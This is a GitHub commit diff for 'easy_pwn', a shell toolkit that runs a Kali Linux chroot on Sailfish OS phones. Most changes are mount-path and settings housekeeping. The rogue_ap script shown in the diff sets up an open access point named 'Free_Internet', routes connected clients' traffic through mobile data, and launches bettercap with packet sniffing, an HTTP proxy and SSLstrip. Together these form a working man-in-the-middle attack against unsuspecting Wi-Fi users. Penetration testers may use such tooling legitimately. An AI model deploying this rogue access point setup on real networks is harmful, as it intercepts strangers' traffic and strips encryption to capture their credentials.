Skip to content

Commit dd28269

Browse files
committed
new easy_pwn mountpoint,moved settings.sh
1 parent 96dd43b commit dd28269

File tree

11 files changed

+70
-59
lines changed

11 files changed

+70
-59
lines changed

README.md

+8-10
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ available actions:
1919
- matchbox-keyboard : default virtual keyboard
2020
- bettercap and bettercap-ui
2121
- **script** let you run custom scripts, default available scripts are:
22-
- rogue_ap : set up an open access point, redirect traffic from wlan to mobile data and attach bettercap
22+
- rogue_ap : set up an open access point, redirect traffic from wlan to mobile data then attach bettercap
2323
- **desktop** set some required environment variables, chroot kali and start xfce desktop
2424
- **shell** run chrooted shell session on fingerterm
2525
- **update** update desktop icons and chroot with latest easy_pwn scripts
@@ -67,14 +67,8 @@ To start the script manually:
6767
```
6868
It is also possible to start a desktop session, in portrait mode, from the shell by running "/opt/easy_pwn/start_desktop.sh" script.
6969

70-
**update scripts and icon**
7170

72-
It is strongly recommanded to update the chroot after an easy_pwn upgrade
73-
```
74-
# ./easy_pwn.sh update /media/sdcard/sdname/chrootname
75-
```
76-
77-
**run rogue_ap script**
71+
**run rouge_ap script**
7872

7973
Make sure to have mobile data enabled and wifi enabled and not connected to any access point before proceed.
8074
```
@@ -91,7 +85,11 @@ Make sure to have mobile data enabled and wifi enabled and not connected to any
9185
```
9286
- Thunar file manager (kali default) crash the session, anyway nautilus works fine.
9387
- mousetweaks longpress works with long double tab ~~No right click on touch-only devices (long press on nautilus seems to work)(fix in progress)~~
94-
- "--root" on desktop mode to start a root session (without sound)
9588
- firefox-esr tabs crash with sounds however chromium works very well
9689
- multiarch support
97-
- done. ~~custom scripts~~
90+
- done. ~~custom scripts~~
91+
92+
## supported device
93+
94+
easy_pwn so far was tested on:
95+
- Xperia X Compact with Sailfish OS 3.2.1.20 (Nuuksio)

deploy/easy_pwn/scripts/rogue_ap/settings.sh

-2
This file was deleted.

easy_pwn.sh

+20-19
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ CHROOT_PATH=`readlink -f "$TARGET"`
4141
PWN_ICON=$PWN_DIR/src/icon.png
4242

4343
# import default settings
44-
. $PWN_DIR/settings.sh
44+
. $PWN_DIR/mount/settings.sh
4545

4646

4747
kill_chroot() {
@@ -73,6 +73,7 @@ umount_all(){
7373
# umount the chroot
7474
if mountpoint -q $TARGET/dev/
7575
then
76+
umount -R $TARGET/mnt/easy_pwn
7677
umount -R $TARGET/dev/pts
7778
#umount -R $TARGET/run/display
7879
umount -R $TARGET/run
@@ -155,7 +156,7 @@ check_mount() {
155156
mkdir -p $TARGET/var/lib/dbus
156157
#mkdir -p $TARGET/run/dbus
157158
#mount --rbind --make-rslave /run/dbus $TARGET/run/dbus
158-
mount --rbind --make-rslave /var/lib/dbus $TARGET/var/lib/dbus
159+
mount --bind --make-slave /var/lib/dbus $TARGET/var/lib/dbus
159160

160161
# mount devpts
161162
mount --bind --make-slave /dev/pts $TARGET/dev/pts
@@ -165,8 +166,12 @@ check_mount() {
165166
chmod 1777 /tmp/$CHROOT_NAME/
166167
mount --bind --make-slave /tmp/$CHROOT_NAME $TARGET/tmp
167168

169+
# easy_pwn mountpoint
170+
mkdir -p $CHROOT_PATH/mnt/easy_pwn
171+
mount --bind --make-slave $PWN_DIR/mount $CHROOT_PATH/mnt/easy_pwn
172+
168173
# replace chroot iptables binary with sailfish's iptables
169-
cp -ar /usr/sbin/iptables $CHROOT_PATH/usr/sbin/iptables
174+
cp -ar /sbin/iptables $CHROOT_PATH/sbin/iptables
170175

171176
# copy resolv.conf
172177
cp /etc/resolv.conf $TARGET/resolv.conf
@@ -180,9 +185,9 @@ check_mount() {
180185
update_pwn(){
181186
# update easy_pwn kali scripts
182187
# deploy easy pwn
183-
echo "[-] easy_pwn deploy..."
184-
mkdir -p $TARGET/opt/easy_pwn
185-
cp -avr -T $PWN_DIR/deploy/easy_pwn $TARGET/opt/easy_pwn
188+
#echo "[-] easy_pwn deploy..."
189+
#mkdir -p $TARGET/mnt/easy_pwn
190+
#cp -avr -T $PWN_DIR/deploy/easy_pwn $TARGET/mnt/easy_pwn
186191

187192
# deploy xfce configs
188193
echo "[-] user configs deploy..."
@@ -193,9 +198,9 @@ update_pwn(){
193198
echo "[-] fixing permissions..."
194199
chown -R $PWN_USER:$PWN_USER $TARGET/home/$PWN_USER
195200

196-
# add execution permissions on /opt/easy_pwn
197-
chmod +x $TARGET/opt/easy_pwn/setup_desktop.sh
198-
chmod +x $TARGET/opt/easy_pwn/start_desktop.sh
201+
# add execution permissions on /mnt/easy_pwn
202+
chmod +x $PWN_DIR/mount/desktop/setup_desktop.sh
203+
chmod +x $PWN_DIR/mount/desktop/start_desktop.sh
199204

200205
# add execution permission on wizard.sh
201206
chmod +x $PWN_DIR/wizard.sh
@@ -239,7 +244,7 @@ start_desktop(){
239244
# run kali-side script
240245
echo "[-] chrooting..."
241246
# store chroot output on /tmp/easy_pwn/epwn-session.log
242-
chroot $TARGET su $PWN_USER -c "/opt/easy_pwn/start_desktop.sh $DESKTOP_ORIENTATION" >> /tmp/$CHROOT_NAME/epwn-session.log 2>&1
247+
chroot $TARGET su $PWN_USER -c "/mnt/easy_pwn/desktop/start_desktop.sh $DESKTOP_ORIENTATION" >> /tmp/$CHROOT_NAME/epwn-session.log 2>&1
243248
}
244249

245250
get_kali(){
@@ -251,7 +256,7 @@ get_kali(){
251256
echo "[-] downloading latest kalifs armhf build from nethunter mirrors..."
252257

253258
# fix for connection issues
254-
ec=18;
259+
ec=18
255260
while [ $ec -ne 0 ]
256261
do
257262
curl --output /tmp/kalifs-armhf-minimal.tar.xz -O -C - $KALI_IMG
@@ -276,10 +281,6 @@ for i; do
276281
OR_LANDSCAPE=true
277282

278283
;;
279-
"--root")
280-
# enable root session
281-
ROOT_SESSION=true
282-
;;
283284
esac
284285
done
285286

@@ -301,7 +302,7 @@ case "$ACTION" in
301302
# run setup-desktop on kali-side
302303
# requires username as first arg
303304
echo "[-] chrooting..."
304-
chroot $TARGET /opt/easy_pwn/setup_desktop.sh $PWN_USER
305+
chroot $TARGET /mnt/easy_pwn/desktop/setup_desktop.sh $PWN_USER
305306
;;
306307

307308
"desktop")
@@ -391,14 +392,14 @@ case "$ACTION" in
391392
SCRIPT_NAME="$3"
392393

393394
# check if script main exist
394-
if [[ -f "$CHROOT_PATH/opt/easy_pwn/scripts/$SCRIPT_NAME/main.sh" ]]
395+
if [[ -f "$CHROOT_PATH/mnt/easy_pwn/scripts/$SCRIPT_NAME/main.sh" ]]
395396
then
396397
# execute the script
397398
echo "[-] loading $SCRIPT_NAME."
398-
chmod +x $CHROOT_PATH/opt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
399+
chmod +x $CHROOT_PATH/mnt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
399400

400401
echo "[-] chrooting..."
401-
chroot $TARGET /opt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
402+
chroot $TARGET /mnt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
402403

403404
else
404405
echo "[!] script '$SCRIPT_NAME' not found."
File renamed without changes.
File renamed without changes.

deploy/easy_pwn/start_desktop.sh mount/desktop/start_desktop.sh

+1-1
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ export QT_QPA_PLATFORM=xcb # force qt applications backend to Xwayland
2121
export $(dbus-launch)
2222

2323
# Start Xwayland window
24-
/opt/easy_pwn/Xwayland &
24+
/mnt/easy_pwn/desktop/Xwayland &
2525
sleep 3
2626

2727
# set display to xwayland

deploy/easy_pwn/scripts/rogue_ap/hostapd.conf mount/scripts/rogue_ap/hostapd.conf

+1-3
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
interface=wlan0
2-
31
logger_syslog=-1
42
logger_syslog_level=2
53
logger_stdout=-1
@@ -8,7 +6,7 @@ logger_stdout_level=2
86
ctrl_interface=/var/run/hostapd
97
ctrl_interface_group=0
108

11-
ssid=FreeWifi
9+
ssid=Free_Internet
1210

1311
hw_mode=g
1412
channel=1

deploy/easy_pwn/scripts/rogue_ap/main.sh mount/scripts/rogue_ap/main.sh

+6-10
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,21 @@
11
#!/bin/bash
22
# easy_pwn : rogue access point script
33

4-
# load script settings
5-
. /opt/easy_pwn/scripts/rogue_ap/settings.sh
4+
# load easy_pwn settings
5+
. /mnt/easy_pwn/settings.sh
66

77
echo "(chroot) [!] WARNING: make sure your wifi is enabled in connman"
88
echo " and not connected, also make sure your mobile data"
99
echo " is turned on."
1010

11-
ip addr add 10.0.0.0/24 dev $WLAN_IF
11+
ip addr add 10.0.0.1/24 dev $WLAN_IF
1212
sleep 1
1313

1414
# Start dnsmasq
1515
echo "(chroot) [-] starting dnsmasq dhcp server..."
1616
if [ -z "$(ps -e | grep dnsmasq)" ]
1717
then
18-
dnsmasq -C /opt/easy_pwn/scripts/rogue_ap/dnsmasq.conf
18+
dnsmasq -C /mnt/easy_pwn/scripts/rogue_ap/dnsmasq.conf
1919
fi
2020

2121
echo "(chroot) [-] forwarding $WLAN_IF traffic to mobile data..."
@@ -42,14 +42,10 @@ echo 2 > /sys/module/bcmdhd/parameters/op_mode
4242

4343
# start hostpad
4444
echo "(chroot) [-] starting hostapd..."
45-
hostapd /opt/easy_pwn/scripts/rogue_ap/hostapd.conf &
46-
sleep 1
45+
hostapd -i $WLAN_IF /mnt/easy_pwn/scripts/rogue_ap/hostapd.conf &
46+
sleep 2
4747

4848
# start bettercap with webui, sniffer and http proxy with SSLstrip
49-
echo "(chroot) [+] done. "
50-
echo " "
51-
sleep 1
52-
5349
echo "(chroot) [-] starting bettercap"
5450
bettercap -caplet http-ui -iface $WLAN_IF --eval "net.sniff on;set http.proxy.sslstrip true;http.proxy on;"
5551

mount/settings.sh

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# easy_pwn : settings
2+
# general
3+
OR_LANDSCAPE=false # default landscape is off
4+
ROOT_SESSION=false # default desktop root session is disabled
5+
6+
# kali linux
7+
KALI_IMG="https://build.nethunter.com/kalifs/kalifs-latest/kalifs-armhf-minimal.tar.xz" # kali rootfs download url
8+
9+
# device
10+
WLAN_IF="wlan0" # wlan network interface
11+
MOBILE_IF="rmnet_data0" # mobile data network interface
12+
13+
# easy_pwn
14+
PWN_USER="nemo"
15+
PWN_VERSION="current"

wizard.sh

+19-14
Original file line numberDiff line numberDiff line change
@@ -37,12 +37,12 @@ PWN_SCRIPT=$PWN_DIR/easy_pwn.sh
3737
CHROOT_PATH="$1"
3838

3939
# import default settings
40-
. $PWN_DIR/settings.sh
40+
. $PWN_DIR/mount/settings.sh
4141

4242
script_selection(){
4343
echo "[+] available scripts:"
4444

45-
av_scripts=$(ls $CHROOT_PATH/opt/easy_pwn/scripts/)
45+
av_scripts=$(ls $PWN_DIR/mount/scripts/)
4646
i=1
4747

4848
for j in $av_scripts
@@ -101,18 +101,23 @@ help_msg(){
101101
echo " - 00 this message"
102102
}
103103

104-
echo " ___ __ _ ___ _ _ _ ____ ___ __"
105-
echo " / _ \\/ _\` / __| | | | | '_ \\ \\ /\\ / / '_ \\ "
106-
echo "| __/ (_| \\__ \\ |_| | | |_) \\ V V /| | | |"
107-
echo " \\___|\\__,_|___/\\__, | | .__/ \\_/\\_/ |_| |_|"
108-
echo " __/ |_____| |"
109-
echo " |___/______|_| ($PWN_VERSION) "
110-
echo " "
104+
if test -f "$CHROOT_PATH/etc/hosts"
105+
then
106+
echo " ___ __ _ ___ _ _ _ ____ ___ __"
107+
echo " / _ \\/ _\` / __| | | | | '_ \\ \\ /\\ / / '_ \\ "
108+
echo "| __/ (_| \\__ \\ |_| | | |_) \\ V V /| | | |"
109+
echo " \\___|\\__,_|___/\\__, | | .__/ \\_/\\_/ |_| |_|"
110+
echo " __/ |_____| |"
111+
echo " |___/______|_| ($PWN_VERSION) "
112+
echo " "
111113

112-
help_msg
114+
help_msg
113115

114-
while :
115-
do
116-
input_loop
117-
done
116+
while :
117+
do
118+
input_loop
119+
done
120+
else
121+
echo "[!] $1 is not a valid kali root."
122+
fi
118123

0 commit comments

Comments
 (0)